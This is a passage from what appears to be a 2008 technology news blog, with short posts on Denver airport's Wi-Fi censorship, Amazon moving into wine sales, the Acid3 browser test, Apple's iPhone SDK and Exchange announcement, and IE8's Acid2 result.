At any rate, there is another Service Pack coming in June, so it could be folded into that release if necessary.

Denver Airport Censors Its Free Wi-Fi Network

I suppose you could say that since it's their wi-fi network, and since it's free, they can do whatever they want with it. But some of the sites that Denver International Airport is choosing to block are not what I would consider racy.

It should be noted that Denver International Airport is the largest airport in the world that has free wi-fi. That's what it has going for it. But when it changed its wi-fi service from fee-based to free in October of last year, it decided to censor what it considers potentially racy sites.

For example, it censors Vanity Fair (hey, there are some decent articles there!), Boing Boing (I'm sure many of you readers know that one) and PerezHilton (OK, that one, maybe). They've also blocked the Sports Illustrated swimsuit site.

Meanwhile, the airport continues to sell Playboy and Penthouse magazines in their stores.

According to Denver Airport spokesman Chuck Cannon the airport would rather receive infrequent complaints about blocked access than deal with angry parents whose children might see pornography.

But come on - blocking stuff like Boing Boing? The airport does seem to have statistics on its side. They say that the airport gets more than 4,000 wi-fi connections a day yet has received only two formal blocking complaints. How many people have been blocked and just said nothing, is my question?

Readers, how do you feel about this? If you had the choice, would you rather pay for uncensored access (particularly when they seem to censor stuff that needn't be censored)?

Amazon.com to Begin Selling Wine

Time for Wine.com to start looking over its shoulder? As evidenced by Amazon.com's Career section, the online retailer is looking to get into the wine business.

Amazon invested $30 million for 45% of Wineshopper.com in 1999 - that didn't do so well. The site lasted only one year. However, the job listing for Senior Buyer, Wine (above, click to enlarge) is pretty clear.

Amazon.com’s Consumables division is looking for a Sr. Buyer, Wine for our Specialty Foods group. Amazon.com’s Consumables businesses include our nationwide, non-perishable Grocery, Gourmet & Specialty Foods, Health and Personal Care businesses, as well as Amazon’s pilot local grocery delivery service, Amazon Fresh.

The Sr. Buyer is responsible for the acquisition of massive new product selection, as Specialty Foods is an emerging segment and the Sr. Buyer will work to build out entirely new selection from the ground up.

Moving into wine makes sense for Amazon.com, with its grocery and Amazon Fresh services. However, even with a 2005 ruling by the Supreme Court which said that state governments may not prohibit residents from ordering directly from out-of-state wineries, state restrictions on the shipment of wine is still challenging.

Hmmm. I wonder if I can use my Amazon Prime membership to get free two-day shipping.

Wine.com sells through Amazon.com, but it does not sell wine.

New Acid3 Test Destroys Current Browsers

Right after we put the "why doesn't IE8 pass the Acid2 test" question to bed, the Web Standards Project (WaSP) introduces a new test (on Monday, to be precise), that virtually kills every current browser. In fact, no known browser, either final or pre-release, currently renders the Acid3 test (success, above) correctly.

While Acid2, released three years ago, focused on CSS, according to WaSP's press release:

The Acid3 Test is designed to test specifications for Web 2.0, and exposes potential flaws in implementations of the public ECMAScript 262 and W3C Document Object Model 2 standards. Collectively known as DOM Scripting, it is these technologies that enable advanced page interactivity and power many advanced web applications such as web-based email and online office applications.

As a series of 100 mini-tests, Acid3 has already been found to expose flaws in all tested browsers, including Internet Explorer, Firefox, Opera, and Safari. WaSP hopes that Acid3 will prove useful to browser makers during the development of future versions of their products.

Results posted around the web show pretty bad results for the current set of browsers, with Firefox 2 posting in the low 50s, IE7 posting in the low teens, and Opera posting mid-40s. On the other hand, nightly builds of the upcoming Safari and Firefox browsers are posting in the 80 - 90 range. However IE8 is only, according to reports, scoring in the high teens.

It should be noted that this test is a standards test, and it's what browsers should aspire to, but we all know they're likely to fall short - though low teens (IE7) is a little much.

The iPhone Gets Exchange Support, SDK

Apple indicated that March 6th would be the day the SDK launched - along with, among other things, more Enterprise features for the iPhone. So what exactly did we hear?

While Steve Jobs opened the presentation, he turned it over to Phil Schiller SVP/Product Marketing and Scott Forstall, VP/iPhone Software to discuss the actual details.

Enterprise

Schiller was first up, saying that enterprise customers have bombarded Apple with a laundry list of desired features, including:

• Push email
• Push contacts
• Push calendar
• Remote data wipe
• Global Address List

Remind you of any company based in Canada? Schiller said all this would be in the next iPhone software release.

And of course, what many expected: Schiller said that Apple has licensed the ActiveSync protocol from Microsoft, meaning they can now support Exchange.

"We have licensed the ActiveSync protocol to build directly into the iPhone."

Totally makes sense, although it's still the case that with a virtual keyboard there are significantly more typing errors. I'd be frustrated, myself. That said, don't expect me to pass up a 3G iPhone.

Schiller then went on to poke fun at RIM and its recent outage issues. And then, of course, the demo!

Schiller demo'ed push email, adding contacts, wiping the phone. And he mentioned that the new ActiveSync support has been tested at several corporations, including Nike, whose CIO endorsed the iPhone as a "plug-and-play enterprise solution."

With this announcement, it seems that RIM needs to start watching its back, though as I said, many executives would be frustrated sans a hard keyboard - but who's to say Apple won't remedy that?

The SDK

The SDK, the other big announcement for today, was demo'ed by Scott Forstall. Of course, developers will be writing for OS X, and using Xcode. He showed off a nifty game, Touch Fighter. It's and OpenGL / OpenAL game that uses the accelerometer to fly the ship by moving the phone, and screen tap to fire. Sign me up; it looked really cool.

Next Apple wanted to show just how easy it was to write for the iPhone, so Apple invited several companies to send two engineers "to see what they could accomplish in two weeks on an SDK they'd never seen before." According to Forstall, most hadn't touched a Mac before.

Apple paraded these developers out on stage:

Electronic Arts showed off something based on Spore.
Salesforce showed off a Salesforce automation application.
AOL - yes, AOL IM on the iPhone.
Sega and Super Monkey Ball.

They even showed Epocrates, which every doctor likely has heard of. Epocrates provides PDA medical software for drug interaction, drug prices, dosing, disease, medical dictionary, ICD9 Code, Medicare Part D, and CME. Honestly, this is a great victory, because while it's a very specialized vertical market app, it's also very popular.

How and When?

So now the question would be how and when? How do developers get these apps to customers?

Steve Jobs offered up the App Store, which will be the exclusive way to deliver (approved) iPhone apps.

"The App Store is going to be the exclusive way to distribute iPhone applications. We think we've got a great business deal for developers." Developer picks the price. Developer gets 70% of the revenues right off the top. We keep 30%. No credit card fees for developers. No hosting fees. No marketing fees. And it's paid monthly. This is the best deal going to distribute applications in the mobile space."

I'm sure others will chime in about what they think, however. Additionally, there's a $99 fee to join Apple's new iPhone Developer Program.

While Apple didn't explicitly place overly stringent limitations on apps that can be developed for the iPhone, they did say in a slide: no porn, no tools for breaching privacy, no bandwidth-hogging apps, nothing malicious or illegal, and nothing "unforeseen." That leaves a lot of wiggle room for Apple.

When? According to Apple, both Enterprise and SDK are beta now, with a full release for both via a free iPhone software update (2.0) in late June. Oh, and yes, the iPod Touch will get the same update, but it will have a nominal charge attached, as in Apple's last major feature update.

Finally, one more thing: Jobs brought John Doerr of venture capital firm Kleiner Perkins onstage. After saluting "the world's greatest entrepreneur, Steve Jobs," he announced the iFund, a venture capital fund for the iPhone platform, seeded with $100 million.

Doerr said:

"We decided the iFund should be $100 million. That should be enough to start a dozen Amazons or even four Googles. Today we're witnessing history, the launching of the SDK, the creation of the third great platform -- the iPhone and iPod Touch. Think about it. In your pocket, you have something that's broadband and connected all the time. It's personal. It knows who you are and where you are. That's a big deal. A really big deal. It's bigger than the personal computer."

Whew, that was a typically exciting Apple session. I'm not sure it's bigger than the personal computer, because I still prefer touch-typing and a full-sized screen - but it is big. If anyone thought Apple has been off it's game of late - well, it seems they just reversed that trend.

Why IE8 Beta 1 May Fail the Acid2 Test

Yesterday when Microsoft released the first beta of Internet Explorer 8, we said that it was failing the Acid2 Test, despite Microsoft's claims last December that it now passes the test. Well, Microsoft has indicated what the issue is, and it appears IE8 will pass the test, under the right circumstances.

What are the right circumstances? Well, because of the massive hit on the official Web Standards Project test site, many were using copies of the test on different sites. A post on Microsoft's official IE blog states that IE8 performs a cross-domain security check for ActiveX controls which will prevent it from passing the Acid2 test on any page but the official one.

They also indicated that they felt that this was the correct behavior, though they may modify it in the future.

We started with the most secure solution and are now looking into whether we can safely loosen this restriction in a future beta.

So there you have it. The response seems reasonable, and it's actually nice to see they commented on the issue, and pretty quickly. At any rate, if you want to test IE8, go to the official site linked above. Just be aware that it's really overloaded.